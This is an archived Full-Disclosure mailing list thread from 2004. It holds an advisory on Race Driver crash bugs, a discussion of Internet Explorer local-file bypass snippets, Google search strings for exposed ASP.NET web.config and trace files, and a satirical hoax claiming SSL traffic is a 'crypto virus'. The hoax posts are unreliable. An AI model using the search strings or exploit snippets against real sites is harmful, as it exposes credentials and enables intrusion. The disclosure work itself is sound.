M6TI73C=(5TY;2E=.5UHG3R-&7TY//#=.4U4O3E]81TY>+T=/(U8-"DTK3EXY
M/TY8*U->6U0C3R-"-T\G53].7EI'3E=+2TY'/4=./RD_3R<W*T\G6S-/)RY/
M3E\R6T\@+5=>6#8-"DU+7R<_2T\F2UM.5$XG7EQ#*U\D2R]>1",_7E at _1U\F
M6%]/*$8K7CQ57UY'*DM/+R at S3DA:(UY#5C=.0RD-"DTO3D at U1U\R4$-.2#]7
M7DDG)U\T.RU (U191"-52SU;3RTS(TTD1B=51R%;2C<B7U0V4%]56D$D(F B
M)UX-"DT])S%4/2<Q5#TG,50])S%4/2<Q5#TG,50])S%4/2<Q5#TG,50])S%4
M/2<Q5#TG,50])S%4/2<Q5#TG,50-"DTY5E%//58M2SDV.4P\-BE:.D9963XF
M25,Y1S53.C9%1CQ714([)D5&/"9!1SHG.48[1EU6/2<]1#XV64\-"B,\4&!;
*#0I@#0IE;F0-"@``
`
end



From 1 at malware.com  Tue Jun  8 17:27:05 2004
From: 1 at malware.com (http-equiv@excite.com)
Date: Tue, 8 Jun 2004 16:27:05 -0000
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <40C55055.2000006@linuxbox.org>
Message-ID: <200406081627.i58GR5JP011876@web110.megawebservers.com>


Who exactly are you? 

You come barreling into FD several months ago, long after it was 
created. Pissing in your pants to have found a unmoderated new 
mailing list. You run around on a spree posting every piece 
drivel at every possible opportunity. You then latch onto 
bugtraq riding the coat-tails of other peoples message in order 
to get yours approved. Now I see you have insinuated yourself 
into the Risks Digest 23.41 with perhaps a record 3 messages in 
one go.

Somebody spends there time and effort analysing a zero day, you 
then have the fucking nerve to complain about that:

<!--  
Also, please try and keep your grudges to yourself where 50K 
plus busy people  need to sift through vital information?
-->

and then you further demonstrate your cockeyed thought process 
by thinking Jelmer has given you a moments thought and has 
also 'dragged personal issues and flames into "the thread"'

<!--  
Where Jelmer and I disagree is on dragging  personal issues and 
flames into the thread.
-->

"the thread" being his analysis of the zero day that you stuck 
your fat face into in the first place.

Like I said go start yet 'another' mailing list if you are so 
desparate for attention. You can be the moderator, the only 
poster, the king of the hill, everything you want to be. 



From madsaxon at direcway.com  Tue Jun  8 17:32:49 2004
From: madsaxon at direcway.com (madsaxon)
Date: Tue, 08 Jun 2004 11:32:49 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely
 Discovered!
In-Reply-To: <023801c44d70$be782fc0$c700a8c0@wfs.com>
Message-ID: <5.0.0.25.2.20040608113201.01e1ea68@pop3.direcway.com>

At 10:53 AM 6/8/2004 -0500, Billy B. Bilano wrote:

>Bill Bilano here, reporting in from the front-lines! I've got some
>disturbing news that I've got to get some answers about while I share. I
>think we're about to come under full hacker attack at any second! And to
>those people that said us folks talking about crypto viruses were being
>chicken littles... let me tell you, the sky just fell! And it is HEAVY!

Anyone else notice that it's getting harder and harder to tell
F-D from The Onion?

;-)

m5x



From aluigi at altervista.org  Tue Jun  8 19:20:49 2004
From: aluigi at altervista.org (Luigi Auriemma)
Date: Tue, 8 Jun 2004 18:20:49 +0000
Subject: [Full-Disclosure] Various crashs and fun in Race Driver 1.20
Message-ID: <20040608182049.390e9eac.aluigi@altervista.org>

#######################################################################

                             Luigi Auriemma

Application:  http://www.codemasters.com/tocaracedriver/
Versions:     <= 1.20
Platforms:    Windows
Bugs:         various crashs and spoofed messages
Risk:         medium
Exploitation: remote, versus server and attached clients
Date:         08 June 2004
Author:       Luigi Auriemma
              e-mail: aluigi at altervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Race Driver is a great and funny driving game developed by Codemasters
and released in March 2003.
Actually this game is no longer supported due to the release of Race
Driver 2 in April 2004.


#######################################################################

=======
2) Bugs
=======


Important note: the attacker MUST have access to the server (so if the
  server is protected by password the attacker must know it) and the
  bugs can be exploited ONLY when the server is in the lobby stage
  (openplaying) that is the only moment when players can join.

--------------
A] Multi crash
--------------

If a server receives a message packet with a length identifier of 0
it will crash immediately after the access to a NULL pointer.
All the attached clients will crash too.


-----------------------
B] Server disconnection
-----------------------

A malformed packet can stop the remote match in a couple of seconds.


-------------------
C] Spoofed messages
-------------------

The communication protocol used by the game permits to send messages
to the server without to be really in the match and with the other
players in the server as their sources.
In fact each player is identified by an ID (for example the admin as
ever ID 0) and this value can be customized in the message packet.

Very boring is the messages flooding attack during the race... moreover
for the server's bandwidth.


#######################################################################

===========
3) The Code
===========


http://aluigi.altervista.org/poc/rdboom.zip


#######################################################################

======
4) Fix
======


No fix.
Unfortunately the game is no longer supported.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From keydet89 at yahoo.com  Tue Jun  8 17:40:22 2004
From: keydet89 at yahoo.com (Harlan Carvey)
Date: Tue, 8 Jun 2004 09:40:22 -0700 (PDT)
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <023801c44d70$be782fc0$c700a8c0@wfs.com>
Message-ID: <20040608164022.33164.qmail@web51507.mail.yahoo.com>

Bill,

>From your post, you don't seem to have a great deal of
detailed information to share about this issue...
 
> The virus works on port 443. 

Wouldn't it then be, by definition, a worm?

> It seems to accept inbound connections on that
> port as well and, presumably, awaits for commands
> from some series of
> servers elsewhere. Perhaps taking orders? 

What information do you have to support this
assumption?

> I also captured some of the
> traffic and attempted to analyze it up but it looks
> like -- you heard it
> here first, folks -- the payload is encrypted!

If this worm runs over SSL, as you say, then wouldn't
you expect it to be encrypted?  

> Is this the first of a coming
> storm of crypto viruses we've all been eagerly
> fearing? 

Is it?
http://www.us-cert.gov/current/current_activity.html#pct

http://www.cert.org/advisories/CA-2002-27.html

To be totally honest, Bill, I don't see a great deal
of information in your post that supports any of your
assertions/assumptions.  If this thing is spreading
the way you say it is, then it's a worm.  

Regardless, there isn't any information in your post
that clearly shows that this worm infects both Windows
and Unix hosts.  In fact, one thing that does seem
clear in your post is that you haven't collected any
information from the "infected" hosts, but rather all
you've got so far is network traffic via
Ethereal...and to be honest, any worm running over SSL
is going to be encrypted...
 
> At any rate, this is your heads up, folks! You heard
> it here first! Be on
> the lookout for this first, very nasty CRYPTO VIRUS!

Thanks.  Noted.



From jkuperus at planet.nl  Tue Jun  8 17:44:32 2004
From: jkuperus at planet.nl (Jelmer)
Date: Tue, 08 Jun 2004 18:44:32 +0200
Subject: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of
 arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <200406081329.i58DTML5008752@sdf.lonestar.org>
Message-ID: <000601c44d77$e2ec23f0$3200000a@alex>

> Can you proof me wrong?

I'll give it a shot

Before sp1 you could simply load any local file into an iframe, then they
realized well this is a security risk and they removed that ability in sp1
There have been 5 issues found that circumvented this restriction (that I
know of)


1) Thor took a look at a prerelease SP1 and added his 2 cents

http://seclists.org/lists/bugtraq/2002/Sep/0090.html

One of the few times he was actually helpfull
It turned out that using a serverside redirect you could still access local
resources, This is very much like what you are seeing here
Microsoft then proceeded to correct this

2) Another issue popped up, this time by mindwarper

Load a file that does a redirect to a local resource in an iframe, reload
refresh the contents and presto your in, it renders it

3) the shell protocol allows access to local resources like this <iframe
src="shell:profile/bla.htm"> Eiji James Yoshida found this

http://www.geocities.co.jp/SiliconValley/1667/advisory08e.html

4) Arman Nayyeri found that showHelp let you access local chm files

http://www.security-corporation.com/articles-20040103-003.html


5) what I describe in the analysis, it's exactly the same as 1)  with one
distinction it uses an URL: prefix, IE doesn't see an file , ms-its, res etc
protocol so assumes it's ok , and lets it pass  


It's nothing like the refresh issue 2) (since there is no refresh)

Nor is it anything that roozbeh describes, nice it uses scripting this is a
serverside redirct

However no it's not strange that you have this feeling of d?j? vu, it's a
variation of Thor's find. Microsoft patched it, overlooked this variation,
the author of this Trojan caught it effectively making it a new thing (tm) 



Note I got this wrong in the analysis and will probably update it
As for Roozbeh Afrasiabi's posts just ignore them... really just do it


-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of BoneMachine
Sent: dinsdag 8 juni 2004 15:29
To: huber at post.webmailer.de; jkuperus at planet.nl
Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
Subject: Re: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of
arbitrary code (An analysis of the 180 Solutions Trojan)

Hi Jelmer, 
I've read your analysis of the trojan of 180  solutions and noticed the
statement that this issue uses two zero day exploits.
I'm trying to monitor and register IE vulnerabilities and have a strong
feeling I've seen the Location header execution before. 
Just to be sure, are you aware that:
- Liu Die Yu discards the local protocol issue as a refresh issue:
http://www.safecenter.net/UMBRELLAWEBV4/IredirNrefresh/IredirNrefresh-MyPage
.htm
- Roozbeh Afrasiabi created a paper about vulnerabilities in IE. One of the
vulnerabilities uses the following statement in the example code :
target.location="ms-its:\\ntshared.chm::/copyright.htm";
The posting to bugtraq can be found at :
http://archives.neohapsis.com/archives/bugtraq/2004-05/0109.html

To me these issues and your URL: issue seem the same and afaik no patches
for these issues had been provided. 

Can you proof me wrong?




vriendelijke groet
Bone Machine





From mr.bill.bilano at email.server.unix.bill.bilano.biz  Tue Jun  8 17:46:22 2004
From: mr.bill.bilano at email.server.unix.bill.bilano.biz (Billy B. Bilano)
Date: Tue, 8 Jun 2004 11:46:22 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
References: <2F0396861F1F454382BB04974A9D81F5015098EC@hsvmsg2.huntsville.oao.com>
Message-ID: <029801c44d78$2169e9a0$c700a8c0@wfs.com>

Steve,

Sorry to say but it is not! I checked my incoming traffic again this morning
and the attack on port 443 is still coming in full steam ahead! I don't know
what's going on, but I am about to block that port on my firewall. Some
nitwit (probably the idiot that was here before I became IT Director)
somehow, for some reason, deliberately opened port 443 on the firewalls!

I am beginning to think that this is the first wave of the new coming global
crypto-storm!

--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS



----- Original Message ----- 
From: "-----, Steve" <----------------------->
To: "Billy B. Bilano" <mr.bill.bilano at email.server.unix.bill.bilano.biz>
Sent: Tuesday, June 08, 2004 11:34 AM
Subject: RE: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


> Please tell me this is just a really bad joke?
>
> -----Original Message-----
> From: Billy B. Bilano
> [mailto:mr.bill.bilano at email.server.unix.bill.bilano.biz]
> Sent: Tuesday, June 08, 2004 10:53 AM
> To: full-disclosure at lists.netsys.com
> Subject: [Full-Disclosure] Possible First Crypto Virus Definitely
> Discovered!
>
> Salutations, amigos!
>



From mr.bill.bilano at email.server.unix.bill.bilano.biz  Tue Jun  8 17:51:29 2004
From: mr.bill.bilano at email.server.unix.bill.bilano.biz (Billy B. Bilano)
Date: Tue, 8 Jun 2004 11:51:29 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered !
References: <1989F6F0D512A7428593D724A81986F02391D1@waprdms01.gsm1900.org>
Message-ID: <02a201c44d78$d8a7daf0$c700a8c0@wfs.com>

Mike,

I don't see anything funny about it! We could be looking at a virus the
likes of which we have never, ever seen before!

Hackers and scripter kiddies are getting crazier by the day! It was only a
matter of time until one of them unleashed the powers of the crypto!


--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS



----- Original Message ----- 
From: "Michael R."
To: "'Billy B. Bilano'" <mr.bill.bilano at email.server.unix.bill.bilano.biz>
Sent: Tuesday, June 08, 2004 11:42 AM
Subject: RE: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered !


> You are truly hilarious.
>
> I am still trying to stand up after reading this!
>
>



From mr.bill.bilano at email.server.unix.bill.bilano.biz  Tue Jun  8 18:05:14 2004
From: mr.bill.bilano at email.server.unix.bill.bilano.biz (Billy B. Bilano)
Date: Tue, 8 Jun 2004 12:05:14 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com>
Message-ID: <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>

Hi Harlan! Thanks for your reply... hard to make heads or tails of what you
are saying though...

> Wouldn't it then be, by definition, a worm?

A worm or whatever you want to call it, that's cool. I just thought "virus"
sounds more alarming than worm! Everybody has had a worm or two, but a virus
is a tough cookie to crack!


> What information do you have to support this
> assumption?

Because it is attacking our web servers and it seems to have somehow gotten
installed on our web servers at the same time! I don't know how it got in,
but there is traffic going in and out of the servers on port 443 with an
encrypted payload! I don't know what is answering on port 443 on the web
servers, but for the life of me I can't find anything on them that looks
like it's a virus or a worm or a troglodite or anything!


> If this worm runs over SSL, as you say, then wouldn't
> you expect it to be encrypted?

Whatever ssl is, I don't know but it's using the so-called "ssl" port on the
web servers. I don't think it has anything to do with whatever ssl was back
in the old days of UNIX. It has a lower port number and that means it's an
older port! Probably from the 1970s!

Besides, why should I see any encrypted traffic on any port other than SSH?
I don't expect to see encryption on anything other than the SSH port 22
(which is a very old port).


> Regardless, there isn't any information in your post
> that clearly shows that this worm infects both Windows
> and Unix hosts.  In fact, one thing that does seem
> clear in your post is that you haven't collected any
> information from the "infected" hosts, but rather all
> you've got so far is network traffic via
> Ethereal...and to be honest, any worm running over SSL
> is going to be encrypted...

But this port 443 is not SSH! Why should it be encrypted? And what is this
"ssl" thing? I've been in IT for many years and I am now IT Director here at
the bank... I would think that I would know what "ssl" would be. I don't
think this worm has anything to do with whatever "ssl" is. Does anybody even
still use ssl? That's probably why the hackers chose it.


P.S. Check out my bloglog, Harlan!

--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS




From mail at oliwel.de  Tue Jun  8 18:43:42 2004
From: mail at oliwel.de (Oliver Welter)
Date: Tue, 08 Jun 2004 19:43:42 +0200
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com> <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
Message-ID: <40C5FACE.8020401@oliwel.de>

hi Guys,

I'm new to the list, so hello first ;)
I really dont know if you are just kidding or if I missunderstod your 
post...
Port 443 is the SecureHTTP protocol (https) - so it is correct that it 
is bound to a webserver process and it is correct that SSL-encryptet 
traffic goes in and out - so whats the matter ?

Oliver
-- 
Diese Nachricht wurde digital unterschrieben
oliwel's public key: http://www.oliwel.de/oliwel.crt
Basiszertifikat: http://www.ldv.ei.tum.de/page72
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3719 bytes
Desc: S/MIME Cryptographic Signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/823a7391/attachment.bin 

From hescominsoon at emmanuelcomputerconsulting.com  Tue Jun  8 18:46:52 2004
From: hescominsoon at emmanuelcomputerconsulting.com (William Warren)
Date: Tue, 08 Jun 2004 13:46:52 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <023801c44d70$be782fc0$c700a8c0@wfs.com>
References: <023801c44d70$be782fc0$c700a8c0@wfs.com>
Message-ID: <40C5FB8C.7080206@emmanuelcomputerconsulting.com>

have you got any code or anything to substantiate this?  Your site is 
unreachable

Billy B. Bilano wrote:

> Salutations, amigos!
> 
> Bill Bilano here, reporting in from the front-lines! I've got some
> disturbing news that I've got to get some answers about while I share. I
> think we're about to come under full hacker attack at any second! And to
> those people that said us folks talking about crypto viruses were being
> chicken littles... let me tell you, the sky just fell! And it is HEAVY!
> 
> I was sitting at my desk doing more research on the OPENBSD virus I
> discovered last week. I was watching ethereal and monitoring the traffic
> coming in and out of the facility and I saw a ton of traffic coming straight
> for our web servers! The routers, firewalls, and intrusion detraction
> systems were not sounding the red alarms like they should have been (we'll
> get to THAT one later).
> 
> There appears to be a new virus in town and it's affecting Windows and UNIX
> web servers! I have not identified a pattern of infection yet but the virus
> is clearly advancing but it only affects web servers!
> 
> The virus works on port 443. It seems to accept inbound connections on that
> port as well and, presumably, awaits for commands from some series of
> servers elsewhere. Perhaps taking orders? I also captured some of the
> traffic and attempted to analyze it up but it looks like -- you heard it
> here first, folks -- the payload is encrypted! Is this the first of a coming
> storm of crypto viruses we've all been eagerly fearing? (I have already sent
> a copy of the payload to the distributed.net people so they can try to use
> some of those wasting cycles to decipher it like they did the last one!)
> 
> I have taken the liberty of naming the virus already. I looked in
> etc/services and saw that this port is for and it is something called "ssl"
> so I am calling it w32.ssl.b (b for bilano, since I discovered this wretched
> thing!)
> 
> I called in our webmaster and showed him the data. He is either too stupid
> to know what's going on or he takes me for a fool. I got him in the
> conference room and showed him the print outs. He tried to convince me it
> was not a virus and just normal web traffic but web traffic is on port 80!
> No fooling old Bill! LOL! So I told him to gather his stuff up and gave him
> his marching orders. I have no time for this kind of bull, what with the
> OPENBSD virus last week (still picking up the pieces there). He must have
> known I was on to him because he was just laughing on his way out the front
> door. He may have even been involved with the infection! Good riddance,
> chump!
> 
> At any rate, this is your heads up, folks! You heard it here first! Be on
> the lookout for this first, very nasty CRYPTO VIRUS!
> 
> P.S. I wonder if this virus was from a spam-gang?!
> 
> P.P.S. Check out my bloglog in my sig!
> 
> --------
> Mr. Billy B. Bilano, MSCE, CCNA
> <http://www.bilano.biz/>
> Expert Sysadmin Since 2003!
> 'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

-- 
My "Foundation" verse:
Isa 54:17  No weapon that is formed against thee shall prosper; and 
every tongue that shall rise against thee in judgment thou shalt 
condemn. This is the heritage of the servants of the LORD, and their 
righteousness is of me, saith the LORD.



From james.bliss at comcast.net  Tue Jun  8 18:46:12 2004
From: james.bliss at comcast.net (James Bliss)
Date: Tue, 8 Jun 2004 12:46:12 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com> <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
Message-ID: <200406081246.12693.james.bliss@comcast.net>

> Whatever ssl is, I don't know but it's using the so-called "ssl" port on
> the web servers. I don't think it has anything to do with whatever ssl
> was back in the old days of UNIX. It has a lower port number and that
> means it's an older port! Probably from the 1970s!
>
> Besides, why should I see any encrypted traffic on any port other than
> SSH? I don't expect to see encryption on anything other than the SSH
> port 22 (which is a very old port).

You are kidding, right?  SSL = Secured Sockets Layer.  It probably includes 
encryption.  It would not be too _SECURE_ if it was plain text.

SSH = Secured Shell

Notice the use of _SECURED_ in both their names?



From dan_20407 at msn.com  Tue Jun  8 18:53:33 2004
From: dan_20407 at msn.com (DAN MORRILL)
Date: Tue, 08 Jun 2004 17:53:33 +0000
Subject: [Full-Disclosure] FYI Only - Interesting Dot Net configuration item
Message-ID: <BAY3-F28Boe2U8QVjp300031dfe@hotmail.com>

Good Morning List

been running some tests on an ASP dot Net web technology system, and ran 
into some things that would be good FYI from a security perspective. Since 
this is still new technology in some respects, there are some configuration 
items that should be observed, or at least noted possibly as a policy item, 
but security folks should be looking for these items when they are testing a 
dot net system.

For interests sake - go to google and run the following if you want more 
information on these files (or to observe folks that didn't do their 
security right, and to observe first hand the data that is given over. Again 
as with all security, risk is defined by the organization, this may or may 
not be risky depending on your view point.)

allinurl: "trace.axd"
allinurl: "web.config"
allinurl: "aspx.cs" for C# source
allinurl: "aspx.vb" for VBS source

Trace dot axd is a tracing function that can be controlled in the web.config 
file. Default is to not release this data, but the developer can modify the 
web.config file to show all trace data to an outside client. This data 
includes cookie session data, and other data that could be useful for 
session highjacking, and determining the physical configuration of the web 
server, including phyiscal and logical drive space. This runs in memory, and 
is purged on a FIFO basis, or when IIS is restarted.

Web.config file holds configuration data for dot net for the web server. 
Provides good configuration data about how the dot net environment is set up 
for the web server. It can also hold connection string information for 
connecting to database systems, other systems, and virtual directories if 
not using integrated security.

all source files (.CS or .VB) can provide information about how the web 
application is set up, what it imports, and in some cases holds connection 
string data for accounts database backend systems. That data is included if 
not using the obdc DSN system. (Although it could be there if any form of 
credentials are embedded anywhere in the source code for a web system).

Just thought I would pass this along as I have not seen anything like this 
posted on the network at all. My suggestion based on this data is that all 
uploaded Dot Net code bases onto a production server be configured in such a 
way that these data points are not exposed to the public. Default is that 
these are protected systems files, but a developer can change these bounds, 
and there should be a hand shake between security and development for 
production or other internet exposed systems.

Hope this was interesting.
r/
Dan




Sometimes MSN E-mail will indicate that the mesasge failed to be delivered. 
Please resend when you get those, it does not mean that the mail box is bad, 
merely that MSN mail is over worked at the time.

Otherwise, hope things are going well.
r/
Dan




From cmeeusen at bnl.gov  Tue Jun  8 18:49:43 2004
From: cmeeusen at bnl.gov (Meeusen, Charles D)
Date: Tue, 8 Jun 2004 13:49:43 -0400 
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Disc
	overed!
Message-ID: <28A2E0D6A920954ABBF13AF712CEBDB601BB882F@exchange05.bnl.gov>

"Men like me, we need a room full of clues"

--Doug.

-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Harlan
Carvey
Sent: Tuesday, June 08, 2004 12:40 PM
To: full-disclosure at lists.netsys.com
Cc: Billy B. Bilano
Subject: Re: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


Bill,

>From your post, you don't seem to have a great deal of
detailed information to share about this issue...
 
> The virus works on port 443. 

Wouldn't it then be, by definition, a worm?

> It seems to accept inbound connections on that
> port as well and, presumably, awaits for commands
> from some series of
> servers elsewhere. Perhaps taking orders? 

What information do you have to support this
assumption?

> I also captured some of the
> traffic and attempted to analyze it up but it looks
> like -- you heard it
> here first, folks -- the payload is encrypted!

If this worm runs over SSL, as you say, then wouldn't
you expect it to be encrypted?  

> Is this the first of a coming
> storm of crypto viruses we've all been eagerly
> fearing? 

Is it?
http://www.us-cert.gov/current/current_activity.html#pct

http://www.cert.org/advisories/CA-2002-27.html

To be totally honest, Bill, I don't see a great deal
of information in your post that supports any of your
assertions/assumptions.  If this thing is spreading
the way you say it is, then it's a worm.  

Regardless, there isn't any information in your post
that clearly shows that this worm infects both Windows
and Unix hosts.  In fact, one thing that does seem
clear in your post is that you haven't collected any
information from the "infected" hosts, but rather all
you've got so far is network traffic via
Ethereal...and to be honest, any worm running over SSL
is going to be encrypted...
 
> At any rate, this is your heads up, folks! You heard
> it here first! Be on
> the lookout for this first, very nasty CRYPTO VIRUS!

Thanks.  Noted.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From kf_lists at secnetops.com  Tue Jun  8 19:00:39 2004
From: kf_lists at secnetops.com (KF (lists))
Date: Tue, 08 Jun 2004 14:00:39 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com> <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
Message-ID: <40C5FEC7.9030105@secnetops.com>

I really hope this guy is not THIS retarded...  her was certainly smart 
enough to leave the XSS enabled on his guest book (which of course he 
called a virus)...

6/8/04
Javascript hackers in my guestbook! GUESTBOOK UNDER SIEGE! I guess I 
upset somebody with my finding out about their silly port 443 virus! I 
have disabled javascript on the guessbook for the time being! No more 
javascript virus!

http://www.bilano.biz/passwords.html

some passwords so I don't forget:

network/server		password		system
-------------------	---------------	----------------
192.168.0.0/24		lips			all servers have same password to make it easy
									they are all in the same rack!
192.168.1.2/32		doodoo			border router
192.168.1.3/32		doodoo			border router failover
192.168.1.7/32		mormons			the server that the ceo runs for his church.....
192.168.1.10/32		scat			sun e10k (solaris)
10.200.0.10			scat			sun el0k interface 2 (solaris root TELNET ONLY)

SQLserv1			nugg3tt3r		SQL sa password (i should not have this but DBA don't know)
SQLserv2			laps1c1e		SQL sa passwd (thanks DSNIFF! LOL)
SQLserv3			jumpsh1p		sa password again... why does he change them on each one?
openbsd				root			simple but easy to remember password!
openbsdcarp			root
openbsdapache		root

they don't know i have this installed...
ceolaptop			helloceo		vmware works great!
cfolaptop			hellocfo		vmware again
ctpdesktop			hellocto		vmware! open source rules!



-KF



From jbethune at town.kentville.ns.ca  Tue Jun  8 19:02:50 2004
From: jbethune at town.kentville.ns.ca (Jason Bethune)
Date: Tue, 8 Jun 2004 15:02:50 -0300
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <F2689E6ECC195141BD423A346685F2686D5289@tokserver01.tok01.local>
Message-ID: <20040608180236.CLRX7058.simmts12-srv.bellnexxia.net@jbethune>

This is a hoax...check out his site he is known for things like this.

Jason Bethune

 

IT Specialist

Town of Kentville

354 Main Street

Kentville, NS 

B4N 1K6

 

www.town.kentville.ns.ca


-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of James Bliss
Sent: Tuesday, June 08, 2004 2:46 PM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!

> Whatever ssl is, I don't know but it's using the so-called "ssl" port on
> the web servers. I don't think it has anything to do with whatever ssl
> was back in the old days of UNIX. It has a lower port number and that
> means it's an older port! Probably from the 1970s!
>
> Besides, why should I see any encrypted traffic on any port other than
> SSH? I don't expect to see encryption on anything other than the SSH
> port 22 (which is a very old port).

You are kidding, right?  SSL = Secured Sockets Layer.  It probably includes 
encryption.  It would not be too _SECURE_ if it was plain text.

SSH = Secured Shell

Notice the use of _SECURED_ in both their names?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From hescominsoon at emmanuelcomputerconsulting.com  Tue Jun  8 19:11:22 2004
From: hescominsoon at emmanuelcomputerconsulting.com (William Warren)
Date: Tue, 08 Jun 2004 14:11:22 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <029801c44d78$2169e9a0$c700a8c0@wfs.com>
References: <2F0396861F1F454382BB04974A9D81F5015098EC@hsvmsg2.huntsville.oao.com> <029801c44d78$2169e9a0$c700a8c0@wfs.com>
Message-ID: <40C6014A.2060302@emmanuelcomputerconsulting.com>

this is highly shortsighted..well maybe not..if you do not have any 
users who do not use https...:)

Billy B. Bilano wrote:
> Steve,
> 
> Sorry to say but it is not! I checked my incoming traffic again this morning
> and the attack on port 443 is still coming in full steam ahead! I don't know
> what's going on, but I am about to block that port on my firewall. Some
> nitwit (probably the idiot that was here before I became IT Director)
> somehow, for some reason, deliberately opened port 443 on the firewalls!
> 
> I am beginning to think that this is the first wave of the new coming global
> crypto-storm!
> 
> --------
> Mr. Billy B. Bilano, MSCE, CCNA
> <http://www.bilano.biz/>
> Expert Sysadmin Since 2003!
> 'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS
> 
> 
> 
> ----- Original Message ----- 
> From: "-----, Steve" <----------------------->
> To: "Billy B. Bilano" <mr.bill.bilano at email.server.unix.bill.bilano.biz>
> Sent: Tuesday, June 08, 2004 11:34 AM
> Subject: RE: [Full-Disclosure] Possible First Crypto Virus Definitely
> Discovered!
> 
> 
> 
>>Please tell me this is just a really bad joke?
>>
>>-----Original Message-----
>>From: Billy B. Bilano
>>[mailto:mr.bill.bilano at email.server.unix.bill.bilano.biz]
>>Sent: Tuesday, June 08, 2004 10:53 AM
>>To: full-disclosure at lists.netsys.com
>>Subject: [Full-Disclosure] Possible First Crypto Virus Definitely
>>Discovered!
>>
>>Salutations, amigos!
>>
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

-- 
My "Foundation" verse:
Isa 54:17  No weapon that is formed against thee shall prosper; and 
every tongue that shall rise against thee in judgment thou shalt 
condemn. This is the heritage of the servants of the LORD, and their 
righteousness is of me, saith the LORD.



From nils at druecke.strg-alt-entf.org  Tue Jun  8 19:21:42 2004
From: nils at druecke.strg-alt-entf.org (Nils Ketelsen)
Date: Tue, 8 Jun 2004 14:21:42 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <029801c44d78$2169e9a0$c700a8c0@wfs.com>
References: <2F0396861F1F454382BB04974A9D81F5015098EC@hsvmsg2.huntsville.oao.com> <029801c44d78$2169e9a0$c700a8c0@wfs.com>
Message-ID: <20040608182142.GA27092@bug>

On Tue, Jun 08, 2004 at 11:46:22AM -0500, Billy B. Bilano wrote:

> Sorry to say but it is not! I checked my incoming traffic again this morning
> and the attack on port 443 is still coming in full steam ahead! I don't know
> what's going on, but I am about to block that port on my firewall. Some
> nitwit (probably the idiot that was here before I became IT Director)
> somehow, for some reason, deliberately opened port 443 on the firewalls!

Close them. If you do not know what you need them for it might be the best
alternative.

> I am beginning to think that this is the first wave of the new coming global
> crypto-storm!

It is not that new, as a matter of fact. It is specified and documented for
10 years. It is SSL and it is supposed to be in place on many webservers.

Could we now please stop this stupid discussion, as it is absolutely not
worth eating up more time.


Thanks,
  Nils
-- 
